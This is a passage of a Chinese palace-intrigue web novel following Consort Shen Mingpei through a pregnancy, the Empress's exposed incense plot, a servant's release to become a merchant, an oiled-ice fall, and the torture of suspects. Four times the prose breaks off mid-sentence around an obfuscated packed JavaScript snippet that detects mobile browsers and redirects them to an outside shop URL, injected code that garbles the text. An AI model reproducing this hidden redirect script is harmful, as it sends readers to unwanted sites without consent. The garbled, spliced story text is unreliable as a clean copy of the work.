“是,陛下,”沈明珮松开挽住皇帝的手,也跪了下来,“这个香料是前两日寒露发现的。起初是气味散发出来,后来循着气味寻找,我们发现源头是妾的床。妾便让宫人打开床板,然后在床内部发现了撒在床内各处的香料。妾想着很快就要请平安脉了,正好让云大人给看看,未成想竟然看出了如此大事。请陛下为妾做主。” 说完,她深深叩首。 云太医看向沈明珮,心中疑惑。这香料若是前两日才拿出来,她应该不会有孕。但想到如日中天的忠勇侯舅甥以及在宫中也有一席之地的贤嫔本人,他老老实实闭上了嘴。 罢了,自己本也是最常给贤嫔看诊的,揭穿她对自己有什么好处呢? 这厢,皇帝抬起左手,召自己的心腹大太监上前。 “给朕查,现在就查,必须查清楚。” “喏。”太监领命而去,找上长春宫其他宫人要账册。 皇帝又问云太医:“贤嫔需要静养多久?” 云太医只觉一座山压在自己身上,压得他跪伏在地,无力起身。 “回陛下,”他听见自己的声音带着丝丝颤抖,“娘娘现已有孕一月,需静养至三个月满。” “好,那就静养至三个月满,”皇帝命令沈明珮,“贤嫔,接下来两个月,你不必去坤宁宫请安,不必参加一切宫宴典礼,若无朕允许,日常行动亦不得踏出长春宫宫院。你可能做到?” 沈明珮立刻应下:“陛下放心,妾定以皇嗣为重。” “很好,”皇帝满意地点头,“云太医,贤嫔此胎由你负责。只要皇嗣平安降生,朕必有重赏。” “是!”云太医应下。 皇帝起驾回乾清宫,没让沈明珮送别。心腹太监被他留在长春宫继续查案。 沈明珮坐回到主位上,云太医走上前,请示道:“臣给娘娘开安胎药方子。” “有劳云大人了,”沈明珮柔声细语,“大人能助妾身,妾身感激不尽。” “娘娘言重了,”云太医低着头,很快写出了药方,“此方先每日服用,臣看诊后若需变化再做调整。” “有劳云大人了。”沈明珮示意寒露接下药方,云太医也躬身告退。 贤嫔有孕,此事很快传遍六宫。与此消息一起传遍六宫的,还有满三月前在宫内养胎的皇帝口谕。 坤宁宫内,正在抄经静心的皇后笔骤然停顿,墨迹凝在纸上,这一页经文一下子便废了。 “晴兰,”她顾不上被墨污了的经文,将心腹女官叫来,“你不是说那香料已经放到长春宫了吗?” “娘娘,那香料是奴婢亲眼看着他们放到床里的。”女官忙说。 “那为什么她还会有孕!”皇后怒喝。 女官立刻跪在地上。但皇后的命令她当日确实是分毫不差地完成的,她怎么会知道贤嫔为何又有孕了? 皇后气急,但孩子已经有了,接下来两个月沈明珮还一直都在宫里,她一时也想不出快速下手的办法。 “她不过一个嫔,我才是皇后!凭什么不能采纳我的意见让她失宠!陛下何时能尊重尊重我!” 她挥退心腹后愤怒地将笔甩在地上,笔在地上滚了几圈,印上一片墨迹。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990418|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒火仍未消,抓起抄好的经文撕了个干净。 纸屑落在地上,搞得屋内一片狼藉。皇后这才寒着声叫来宫人,命他们洒扫干净。 不管其他宫有什么反应,沈明珮都关起宫门,一心养胎。第二日晨定,坤宁宫内果然没有了沈明珮的身影。 据当天去请安的宫妃说,皇后的脸都黑透了。 长春宫内,沈明珮端起药碗,闭上眼睛,屏住呼吸,将里面的药汤一口气全灌进肚子里。 她把碗重重地放在案上,大喊道:“寒露,蜜饯!” 寒露立刻拿着一包蜜饯跑过来,沈明珮手直接伸进包里,拿了一个就扔进嘴里。 咀嚼中糖分蔓延到整个口腔,中药带来的苦终于被驱散。 寒露立刻放下蜜饯,跑去倒了杯水,见沈明珮把蜜饯咽下去,当即把水杯递到沈明珮手里。 沈明珮接过杯子,将水喝了个精光,才感叹道:“苦死我了。” “呸呸呸,不能说死,”寒露立刻纠正,又劝沈明珮,“良药苦口,娘娘您就好好喝药吧。” “我知道。”沈明珮叹口气,肩膀都耷拉下来。 但是还是好苦啊。若不是在这个女人没有孩子就没有安稳的后半生的时代,她才不会为了个连人都算不上的胎儿吃这种苦。 哦不,她在那时候根本不会去做这种可能会让自己怀孕的行为。 她在这边喝药,司礼监联合宫正司一起查香料案。沈明珮自入宫起就讲求做事留痕,所有经过她地界的东西都要在寒露或白芷的监督下登记造册。这些香料并不在册中。查案的太监女官随后找人检查床,得到“床只被拆开过一次”的结论——众所周知,长春宫正殿的床是沈明珮被晋为贤嫔后皇帝命内官监加紧新做的。 司礼监又找上尚宫局,要来装点长春宫的宫人名册,随后这些宫人全部被抓进宫正司监牢内。司礼监大太监亲自审讯,挨不住刑罚的宫人们最终还是招了。 此时已经是第二天中午。 皇帝在晚膳前走进坤宁宫。皇后正准备用晚膳,看见皇帝,迎了上去。 “妾身见过陛下,陛下可是要与妾身一同用膳?” 皇帝没有回答她,将司礼监交上来的供词拍到桌上。 “你自己看。” 皇后拿起供词,看过开头就知道自己做的事暴露了。但她绝不能这么承认。 “陛下,”她委屈地看向皇帝,“就因为几个宫人的攀咬,您就要定妾身的罪吗?” “皇后若是不承认,那便让锦衣卫继续查这香料的来处吧。” 皇后睁大眼睛。 “陛下!孙指挥使本就是贤嫔的姻亲,让他查案,查出来的不就是贤嫔想要的吗?” “没关系,朕可以让北镇抚司查,”皇帝不紧不慢地说,“宫里能这么轻易地进了害人的东西,若是有人意图谋逆,岂不是会酿成大祸?朕一定要查清祸首,明正典刑,以儆效尤。” 皇后跪倒在地。 “陛下恕罪,是妾做的。妾只是不满宸嫔对妾不敬,对她略施惩戒而意,绝无他意。” 她伏在地上,听到冰冷的声音在她头顶响起。 “皇后,如果你不是皇后,朕定会将你废为庶人。” 29. 放归 坤宁宫大宫女晴苇因谋害宫妃被带入宫正司,消息传出来后,阖宫上下一片哗然。 在宫正司呆了一晚上后,晴苇认下全部罪名,在牢中撞墙而亡,更是让所有人大跌眼镜。 宫正司宫正带着晴苇的供词找皇帝汇报,还没到乾清宫就已有不祥的预感。 果不其然,她还没汇报完,皇帝就把镇纸扔到她身上。她立刻伏倒在地,浑身瑟瑟发抖。 “认罪,自杀。你一个宫正司宫正,还拦不住一个已经受过刑的宫人自尽?”皇帝已是怒极,“若是再有下次,你这宫正司宫正就不必做下去了。” “谢陛下饶恕。”宫正司宫正不停叩首,感谢皇帝放了她一马。 “自己滚下去领罚。” “是。”宫正司宫正站起身,屁滚尿流地离开。 皇后身边的大宫女残害宫妃,畏罪自尽,皇帝震怒之下申饬皇后御下不严,将皇后禁足一个月。禁足期间,宁妃暂管宫务,顺嫔与宸嫔从旁协理。 坤宁宫内,皇帝平静地送走了传旨太监,一言不发地坐在椅子上。 “娘娘,您还好吗?”晴兰见她一个姿势坐在那里一动不动,轻声问她。 “怎么可能好?”皇后声音嘶哑,“不过是已经料到会有这般结果罢了。” 晴兰垂下头,沉默不语。 “晴苇葬在何处了?”一阵安静过后,皇后突然问晴兰。 晴兰一阵支支吾吾,在皇后严厉的目光下才终于说:“陛下说晴苇犯下滔天大罪,不配葬入宫人墓,命人将她扔进乱葬岗。” “呵,”皇后冷笑,“其实陛下最想扔进乱葬岗的应该是我吧?太后娘娘真是养出了一条毒蛇啊,登上大位就要对恩人下手了。当初就应该让他死在后宫中才是!” “娘娘!”晴兰抓住她的手臂喊她,“不能再说了,外面还有陛下的人呢。” 后妃被禁足,外面都有司礼监太监把守宫门,此时坤宁宫外就站着皇帝的人。 但皇后却不怕了。 “他们想上报就上报吧。本宫有太子,有夏家和定国公府,只要不是证据确凿的谋逆大罪,谁敢对我们两家动手?本宫再怎么样也是皇后,只要夏家与定国公府还在,皇帝就只能让本宫做皇后。” 守在门外的司礼监太监确实把话传给了皇帝,皇帝冷笑一声后就不再言语。 宁妃接手宫务后,只按部就班地管理,没有动宫中各处的人手。但此时接手宫务,三人尚有一件大事要做。 与过往的某些朝代不同,本朝允许大龄宫女归家。一般在选秀前两年的冬天会放年满二十五岁的宫女出宫,来年采选宫女入宫,待新入宫的宫女训练满一年后,正好皇帝选秀,训练好的宫女可以去伺候刚刚入宫的宫妃。 宫妃名下宫人若有要出宫的,也可以报上去,这部分人不必遵循满二十五岁才能出宫的规矩。 沈明珮手下就有这次要出宫的宫女。 在宋家翻案后,沈明珮便收了宋英的妹妹宋莲为义妹。晋为贤嫔后,宋莲也被调进了长春宫,做一些杂事。她不过十四岁,远不到正常情况下可以被放出宫的年龄,但她在长春宫贤嫔名下,只要沈明珮放人,她就能出宫。 宋英不想她继续呆在宫里,同沈明珮说了后沈明珮便放人了。但这几天他又是一脸愁容。 “宋英,你到底怎么了?”又一次不小心出现失误后,沈明珮直接问他。 宋英一脸纠结,犹豫半天,叹了口气。 “回娘娘,还是小莲出宫的事。” 沈明珮疑惑:“本宫不是已经允了放她出宫吗?还有什么事?” 宋英欲言又止,沈明珮实在看不下去他那副犹犹豫豫的样子,开口催道:“到底是怎么回事,快说。” “哎,”宋英长叹一口气,“奴婢想让小莲出宫,是想让她在外面安安稳稳生活,然后找一个好人家。可是她想出宫从商。” 由于立国时夏琳首辅收养的女商们出了大力,本朝商人地位并不像前朝那么低。但高宗灭女官女将后,又开始压制商人,故而商人在士人面前依然是被看不起的。 妹妹好好一个官家女儿竟然要从商,宋英愁得头发都掉了。 “本宫倒是觉得,从商也未必是坏事。” 沈明珮的话让宋英猛地抬起头——他还想求贤嫔娘娘劝劝妹妹,怎么娘娘反倒帮妹妹说话了? “稍安勿躁,咱们慢慢分析,”沈明珮见宋英急得像热锅上的蚂蚁,先温声相劝,让他平静下来,“你方才说,想让她找一个好人家,那么,她能找到什么样的人家?你又想她找到什么样的人家?” “自然是门当户对……”宋英脱口而出,说到一半发现不对,收了声。 宋家现在就一个姑娘和他一个太监,这门当户对的能是什么? “是,宋家人已经被定国公府害得只剩你和你妹妹了。纵然现在已经翻案,陛下追封了令尊令堂,可官宦人家是不认的。现下官宦人家结亲,结的是两家男人的势力,他们只会看到,小莲父母双亡,还有一个做了太监的哥哥。这些人家会接纳小莲吗?” 宋英摇了摇头。 “其实如果小莲要嫁个好人家,本宫倒也不是没办法。”沈明珮说完,宋英已经沉下去的心又浮起来。 沈明珮看着他一脸期待的模样,笑了笑,说:“本宫生下皇嗣后应当能升位。到时候拼着豁出去这张脸,总能说到一个看得过去的人家。只是,若是如此,你妹妹的命运就彻底同本宫绑在一起了。本宫得势时人家看着本宫的面子上固然会善待你妹妹,但若是哪天本宫不幸失势,你妹妹在后宅里也断不会再有好日子过,甚至还可能成为这家人向其他势力投诚的工具。你愿意你妹妹走这条路吗?” 宋英恳切道:“奴婢会护着娘娘,让娘娘永远不失势。” 沈明珮又笑了:“你的忠心,本宫知晓。只是前朝后宫盘根错节,说不定因为哪件事,高高在上的宠妃就会瞬间跌入尘埃。未来的事,哪里能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997979|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说得好呢?你妹妹愿意靠自己打拼未来,不论以后我们怎样她都能好好的,这是好事啊。” 宋英沉默,垂着头站在沈明珮面前,陷入沉思之中。沈明珮也不打断他思考,就静静坐着等他。 半晌,宋英抬起头。 “娘娘,奴婢想明白了,多谢娘娘开解。奴婢想请娘娘再同小莲自己谈谈。” “可以。”沈明珮应允。 宋英退下,很快宋莲便走进来,见到沈明珮,先行礼问安。 “起来吧,”沈明珮道,“听你兄长说,你准备出宫行商?” “回娘娘,确有此事,”宋莲承认,“奴婢谢娘娘为奴说话。” “无妨,本宫喜欢看女子自立,”沈明珮又问,“可想好在何处行商,做什么买卖?” “奴婢尚未想好,”宋莲实话实说,“宋家平反昭雪后,昔日被抄没的铺子又还回来几个,奴婢想先经营铺子练手,确认京城的风向后再开自己的买卖。” 沈明珮颔首。 “不错,有计划就好。本宫进宫前有一侍女,曾在江南帮本宫母亲打理内外事务,本宫会销了她的奴籍,把她派到你身边,辅助你两年。待你出宫后,若是想与你兄长或是本宫联系,随时可以给宫里递信。” 宋莲的眼睛亮了。 “多谢娘娘,奴婢定会好好行商!”说完,她面上又泛起羞赧,小声说,“其实奴婢也想成为娘娘的助力。不知奴婢若是日后当真行商有成,可否为娘娘效力?” “当然可以,妹妹能有此心,我很欣慰。” 宋莲看着沈明珮的笑容,感觉自己沐浴在阳光中。 事情办得很快,沈明珮派白芷去启祥宫,将宋莲的名字上报,当天她的名字就出现在放出宫的宫人的名册上。 寒露将沈明珮的信递出宫,刘芸当天收到信,第二天就去给秋霜销了奴籍。秋霜虽有不舍,但知晓宋莲是自家小姐的义妹,认真做准备,只等宫中放宫人出宫。 到了放人那天,宋莲出宫之前,被寒露叫住。 “寒露姐姐?” 寒露给了她一个厚厚的信封。 “这是娘娘让我给你的,里面有五张十两的银票,你若是资金不足,可以去承兑。里面还有一份金兰谱,乃娘娘同你是义姐妹的证据。娘娘还说了,若是在外面被人欺负,报娘娘的名号就行。” 宋莲感觉视线有些模糊,发酸的鼻子提醒她,那是她的泪水。自从宋家倾覆,以罪奴身份没入宫中的她和哥哥一直都在宫中食物链的最底端,随便哪个人都可以欺侮他们。自从跟了娘娘,不仅宋家得以昭雪,她似乎也真的被娘娘以义妹的身份对待。 她的人生固然曾落入不幸,但在这世上种种不幸之人中,她又何其幸运。 “臣女一定会成为大商人,绝不会堕了娘娘的名声。”她听见自己哽咽地说,而后抱着信封,像抱着稀世珍宝一般走出长春宫。 说来也巧,宫人出宫后第三天,皇后便解禁了。 30. 摔倒 沈明珮即将满三月身孕时,收到了宋莲自宫外送来的信。 “娘娘,莲姑娘都写了什么?”将信递到沈明珮手里的寒露好奇地问。 “没什么,”沈明珮把信合上,“就是告诉我,她已经开始管理铺子了。” 其实根本没有这么简单。宋莲刚回家没多久,就遭到不知名人士的袭击,若非刘芸事先派出勇毅伯府护院前去护卫,她可能已经遭遇不测。好在一击不得,背后的人就安静下来,之后的一切都算顺利。 沈明珮满三月身孕当天,云太医又一次到长春宫看诊。他的手指搭在沈明珮脉上半晌后,满意地点了点头。 “娘娘这两个月休养得很好,”他说,“现在胎相已稳,可以正常活动了。” 沈明珮闻言,面露喜色。 “白芷,快去将此消息告知陛下。” 白芷领命而去。沈明珮又问云太医接下来的注意事项,云太医皆一一解答,又调整了药方,才离开长春宫。 白芷归来时,带着皇帝的赏赐——一筐秋梨,一筐苹果,俱是新上供的。 “陛下对娘娘很满意,”白芷转述,“便赏了娘娘两筐水果,让奴婢带回来。陛下还召了云太医,确认娘娘胎相已稳后就允许娘娘自由活动了。” 沈明珮拿起一颗梨,咬了一口。梨子甘甜多汁,不愧是贡梨。 “这梨和苹果你们也分着吃一些,”她对白芷说,“挺多的,莫要放坏了。” 白芷谢恩后退下。 “贤嫔妹妹这是已经养好了?”第二天,沈明珮一踏入坤宁宫,宁妃就笑着问。 “托姐姐的福,已经可以自由活动了。”沈明珮微笑致意,坐到她的下方。 沈明珮的正对面就是宸嫔,她的肚子已是老大一个,脸也圆了不少,坐在椅子上颇为吃力。 “宸嫔应该是快生了吧?”她问。 “姐姐说得没错,”宸嫔大抵是不太舒服,面带淡淡的苦色,“太医预测在正旦前后。” “噢,”沈明珮点点头,“这个时间还是挺好的。” 赶在新年,吉利。 宸嫔对她挤出一丝友善的笑容,之后两人没再交谈。 皇后就是在一片安静中出现。她冷冷地扫了沈明珮一眼,然后开始了这一年的最后一次请安。殿中有两个孕妇,她草草说了几句就放众人离开。 冬日的宫内,地上总是会有些积雪。沈明珮由寒露虚扶着,慢慢往回走,看见宸嫔艰难地爬上步辇。承乾宫的太监抬起步辇,脖子上生出青筋,好不容易坐上步辇的宸嫔也是气喘吁吁、面色通红。一行人就这么向承乾宫走去。 “寒露,我总觉得宸嫔那样有些危险,”沈明珮凑到寒露耳边,以极小的声音说,“我到时候也要这样吗?” “其实适当的运动对孕妇是有好处的,”寒露也以同样小的声音回答,“而且一旦从步辇上摔下来,会非常危险。奴婢建议娘娘若是能自己走路,这段往返的路还是自己走比较好。” 沈明珮深以为然地点点头。 此时已是腊月,宫中忙于准备新年,长春宫也不例外。先前没安排的走动立刻补上,除夕正旦要准备的东西也都安排上,要给宫人们的赏赐也一个都不能少。长春宫上下一时间颇为忙碌。 新年向来与太医院关系不大。为免在宫中庆贺之时乐极生悲,太医需在新年期间时刻待命。今冬宫中有了两个孕妇,太医院更是严阵以待。云太医隔几日就要给沈明珮诊一次脉,而后等待着沈明珮的就是苦到掉舌头的药汤。 除夕宴前,她喝完这一年最后一碗药汤,乘着步辇前去乾清宫。 “都给我小心点!”寒露在出发前就命令抬步辇的太监,在路上又时刻盯着路面和周围环境,让一行人走得极为小心。 乾清宫到底是皇帝寝居宫室,门前与四周道路都收拾得极为干净,看不到一点积雪。两个太监走得舒坦,沈明珮坐在步辇上也很稳,直到走到宫门前,放下步辇,沈明珮步行入乾清宫。 本次家宴时间并不长,尚食局呈上来的也都是孕妇能吃的食物。众人安静地吃完饭,没等后妃按规矩说贺新岁的吉祥话,皇帝就已经宣布结束家宴。 皇后让太子上前贺岁的话被活生生堵在了嗓子眼里。她看着有序告退的妃嫔,嘴角耷拉下来,等到人都走干净了,她挂着勉强的笑容,带着两个孩子离开。 沈明珮回到长春宫,没有守岁,简单洗漱后便躺在床上进入梦乡。再醒来时,天已大亮。 “娘娘醒了,”寒露立刻命宫人打好水,为沈明珮洗漱,“离大宴已没有多少时间,娘娘需要抓紧了。” 说着几个宫女一起凑上来,先是伺候她洗脸,而后又为她扎好发髻、画上妆容,再套上大礼服。 打扮时宋英也在看着太监做早饭。自从成了长春宫主位后,沈明珮便有了小厨房。厨房很简陋,正常三餐还需由尚食局提供,但做些简单吃食或是加热冷掉的食物还是没有问题的。而现在乃大宴之前,只需做一点垫肚子的东西,用小厨房恰好合适。 沈明珮穿戴整齐后,宋英端着吃食走上前来。一个小糖饼,一个水煮蛋,再加上小半碗粳米粥。沈明珮吃干净后才出发。 皇极殿内,宗室、百官及家眷已然到齐,在殿上乌压压坐了一片。散号妃子也都已就位,见沈明珮走过来,立刻行礼。沈明珮受了礼后静静坐在座位上,除向宁妃行礼外再未起身。 直到宁妃落座后,宸嫔才到。厚重的大礼服下,她头上皆是汗水,靠宫女搀扶着才步履蹒跚地走到座位旁。她扶着肚子痛苦地坐下,与正看着她的沈明珮对视了个正着。 四目相对间,两人皆露出苦笑。 让孕妇穿这么沉重的一身大礼服,还是太难为人了。 没有多久,帝后相携而来,大宴开始。 因为是大宴,这次上的菜肴没有再特别照顾某个人,沈明珮与宸嫔都是默默地把不能吃的东西放在一边。宴席劳累,过了一阵,宸嫔头上已经冒下虚汗。 主位上,皇帝见宸嫔疲态明显,暂停与群臣的交谈:“宸嫔若是劳累,可以先离席。” 宸嫔见皇帝面无愠色,拿起手帕擦了擦额上的汗水,行礼道:“妾谢陛下恩典。” 说罢,她由宫人搀扶着慢慢离开皇极殿。 皇帝很满意她的识趣,再同臣子交谈时面色明朗了些许。 沈明珮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002468|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开长春宫前就吃了些东西,几道菜下肚后便有些饱了。皇帝在上头搞君臣和乐,她闲的没事把目光投向官员家眷。 刘芸本次也是在场的。她以勇毅伯府老夫人的身份出现,一身宜人大礼服,带着沈明玥坐在勋贵堆里。 沈明玥年纪尚小,又是第一次来皇极殿参加大宴,好奇地偷偷看来看去。她看向宫妃席时,正好看到了也看向她们的沈明珮。 她面露喜色,向沈明珮挥了挥手,沈明珮也以挥手回应。 “阿娘,阿娘!”沈明玥戳了戳刘芸,指向沈明珮,声音雀跃,“阿姐在看咱们哩!” 刘芸顺着沈明玥的手指看去,果然看到了含笑注视她们的沈明珮。见刘芸看过来,沈明珮又挥了挥手,做了个口型。 “阿娘。” 刘芸一下子就看明白她想说什么,笑着对沈明珮点头。 沈明珮两次向家眷席挥手,还是引起了皇后的注意。她看过去,立刻就明白了沈明珮在做什么,不悦地皱了皱眉头。 可还不等她说什么,沈明珮又把头转了回来,继续吃东西去了。她想说的所有话都被堵在喉咙里。 她狠狠瞪了沈明珮一眼,而后继续宴席。沈明珮只低头吃菜,根本不知道有人瞪她。 一场大宴,君臣同乐。宗室、大臣与家眷们都退下后,宫妃才离开皇极殿。沈明珮走在离开皇极殿的宫道上,也觉出些疲乏。 “寒露,扶我一把。” 沈明珮被寒露挽着手臂,走到步辇旁。直到坐上步辇,慢悠悠地返回长春宫,她瘫在座位上,终于得以休息。 当天夜里,宸嫔便发动了。 “怎么这么早就发动了?”皇帝一进承乾宫正殿,就劈头盖脸地问负责宸嫔的太医。 “回陛下,娘娘虽然早几天发动,但也在正常日子内。大抵是因为白天参加宫宴有些劳累,才有所提前,不过对娘娘和皇嗣并无大碍。” 听到没有大碍,皇帝面色稍霁,与皇后一起坐在产房外。 宫中妃嫔接到消息,陆陆续续爬起来,撑着被扰了睡眠的疲惫赶到承乾宫,规规矩矩坐在殿里。 “贤嫔怎么还没到?”皇后扫视一圈,不见沈明珮,正要派人去喊,被皇帝制止。 “贤嫔有孕,不可劳累,是朕不派人通知她的。” “妾身明白了。”皇后压着不满坐回去。 于是直到早上,沈明珮才知道宸嫔发动的消息。 “陛下恕罪,娘娘恕罪,妾来迟了。”沈明珮吃过早饭,才穿戴整齐地走到承乾宫,一进正殿,先向帝后请罪。 有皇帝在,皇后说不得什么,而皇帝并不想追究她。 “皇嗣为大,朕恕你无罪。” “谢陛下。”沈明珮盈盈下拜,而后坐到殿内唯一的空位上。 这一等又是大半天。当天傍晚,宸嫔产下一子,陛下大喜,晋其为宸妃。此番事了,妃嫔们相继回宫。 沈明珮是走在前面的几人之一。她此行未乘步辇,回宫也是步行。走在从承乾宫回长春宫必经的宫道上,快回到长春宫时,她突然脚下一滑,栽到地上。 “有油!”这是她清醒前的最后一句话。 31. 赐死 “怎么回事?怎么突然就摔了?”皇帝冷着脸走进长春宫。 他刚回到乾清宫,屁股还没坐热,就见有太监慌忙跑来,直接跪在他面前。 “陛下,贤嫔娘娘摔倒了!”小太监年纪不大,被抓过来通报这则坏消息,苦着脸生怕自己被迁怒。 万幸皇帝没有冲他发火,只要求他带路。但进了长春宫,皇帝的怒火就不再收敛了。 “陛下,娘娘回长春宫的宫道上被人在冰上抹了油!”寒露说着,长春宫的太监将冰呈上来。 听到沈明珮晕倒前说地上有油,寒露当机立断,命跟随的两个太监看住事发现场。寒露自己抱着沈明珮回到长春宫,一边命白菊请太医,一边用自己的医术帮沈明珮稳住局面,两个太监则将涂着一层油的冰撬下来,放在殿外,等皇帝进去后立刻准备将之呈上去。 这时,云太医也从寝房走出来。 “陛下,娘娘此胎保住了,但是到生产前都需静养,”他看见一脸盛怒的皇帝,立刻跪下,“幸亏贤嫔娘娘是走回长春宫的,若是乘坐步辇,必然会小产。” 寒露带着哭腔说:“求陛下为娘娘做主!” 皇帝看着用盆勉强装下的一大片泛着油光的冰,拂袖而去。 不过半个时辰,负责此处宫道的宫人就全进了宫正司。宫正司牢房内,负责审讯的赫然是司礼监提督、陛下心腹中的心腹,大太监赵德光。 偌大的牢房内此刻摆满了刑架,被抓过来的宫人被人捆着扔进牢房,又被牢内的司礼监太监与宫正司宫人拎起来,绑在刑架上。赵德光大马金刀地坐在主位,面无表情地看手下人操作,等这些人都在刑架上绑好,才站起身,在他们面前来回踱步。 “今天请各位来宫正司,咱家首先要你们好好说说,昨天和今天你们自己做了些什么,与你们一起当值的宫人又都做了些什么。你们不必说出来,用没捆上的那只手写纸上就可以了。” 说着,宫正司宫女们拿着纸笔端到每个刑架前,把炭笔塞到他们手里,把纸压在木板上放到他们手边。 “各位,好好照实写吧。” 鞭子已经备好,泡在盐水中,衬得赵德光更像阎罗。 不多时,所有人的供词都递了上来,赵德光看过之后,不由自主地笑出来。 他把供词狠狠拍在桌案上,厉声道:“给我打!” 鞭子挥舞在半空中,带着阵阵风声,抽在牢房内每个被缚之人的身上。 宫正司外,锦衣卫穿行于各宫之间,各宫宫人都被锁拿了不少,只是还没有上刑。震怒的皇帝将所有后妃都禁了足,各宫与六尚宫人皆不得进出,宫内一应运转皆交由十二监暂时负责。 到了中午,尚膳监将午食分发各宫。匆忙中准备的午饭根本达不到应有的份例,但阖宫上下无一人敢提出异议。 原因无他,皇帝这次是真生气了。 坤宁宫内,晴兰打开餐盒,看着里面简陋的吃食,叹了口气。 “娘娘,这般样子要持续多久啊?” “那要看什么时候能撬开那些人的嘴,”皇后面上喜怒难辨,“谋害皇嗣,还留了这么大的手尾,对咱们陛下而言相当于对着他的脸往上扇。现在他震怒,咱们坤宁宫就先忍忍吧。” 启祥宫中,宁妃看着端上来的饭菜,皱起了眉毛。 “开小厨房!”她命令道,“这东西是人吃的吗?” 大宫女垂着头退下,命令宫人们去开小厨房。 沈明珮在午饭之后睁开了眼睛。 “娘娘,您醒了!”甫一睁开眼,她就看到白菊面带喜色跑出寝屋,不消片刻又带着云太医进来。 “我睡了多久?”沈明珮心中茫然,手不自觉地抚摸小腹,“孩子怎么样?” “现在已是未正,多亏寒露姑娘处理及时,孩子保住了,请娘娘把手伸过来,”云太医立刻把手指搭在沈明珮脉上,一番沉吟后才松开手,“娘娘已无小产危险,只是此番损伤太大,需卧床休养,且生产前都不宜出宫行走。臣现在需要把娘娘接下来要服的药写下来。” 不需要沈明珮吩咐,白菊便去将笔墨纸砚端过来。云太医拿起笔,熟练地写下方子,交给寒露。 “有劳云大人了,”沈明珮扫见字迹密密麻麻的纸,心中五味杂陈,“白菊,送云大人出宫。” “娘娘,陛下现在把所有宫室都封了,禁止除十二衙门之外的任何人进出,不知何时才能解禁,云大人也出不去。”不等白菊和云太医回复,寒露就向沈明珮解释。 “这样啊……”沈明珮看着床顶,任自己的思绪游走,突然划过一道灵光,“云大人,寒露也略懂一点医术,不知您能否再教她一些关于妇产相关的知识?” “娘娘有令,臣敢不从命。” 见云太医应下来,寒露也喜出望外。她只是在被刘顺训练时学过些基本的医术,能继续精进于她亦是意外之喜。 “好了,快去吧。”沈明珮不再留人,寒露拽着云太医的袖子走出寝屋。 宫正司牢房内,捆在刑架上的宫人已经皮开肉绽,赵德光坐在主位上,面色阴沉。 “还不招?真是硬骨头。来人,上竹签!” 又粗又长、尖部锋利的竹签端上来后,一个被捆在刑架上的太监惊恐地号叫。 “我求求你们了,不管是谁都快招了吧,你们真想被这签子插吗?”他痛哭流涕,由于两只手都捆在刑架上,眼泪和鼻涕就顺着皮肤往下流,无比狼狈。 可是除了喊饶命外,这些宫人依然没有吐出什么有效信息。 “啧,”赵德光一脸不耐,“动手!” 于是当锦衣卫指挥使找上赵德光时,看到的就是刑架上的宫人们十指全部插上竹签,连惨叫的力气都没有的一幕。 他在心里感叹赵德光的狠辣,面上却是颇为恭敬。 “赵大人,下官这里有了些线索,您可要看看?” 没办法,他穿飞鱼袍,赵德光穿蟒袍,谁在皇帝哪里地位更高一看便知。 “陛下竟然把你派来审案子了?”赵德光久无收获,心中不爽,对孙指挥使亦是皮笑肉不笑,“既然有线索,便说与咱家听听。” “请大人随本官来。”孙指挥使请赵德光出了牢房。 过了足有一刻,赵德光才返回,一迈过牢房大门就抬起手,将牢房里受刑的宫人几乎点了个遍。 刑架上的人本就疼得求生不得求死不能,见到自己被点更是心惊胆战,恐慌之下竟有人直接失禁了。 “真难闻,”赵德光被熏得五官扭曲,“快把咱家点的都放下来,绳子解开签子拔掉,都先关到其他牢房里。” 立刻就有下属上前松绑,这些人已经无法站立,被拖到隔壁的牢房中。 而后就只剩下一个人了。 “徐四,五十两银子拿着舒坦吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006523|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵德光一开口,徐四便知道自己已经败露了。既然如此,他也没再硬撑。 “我全都招……” 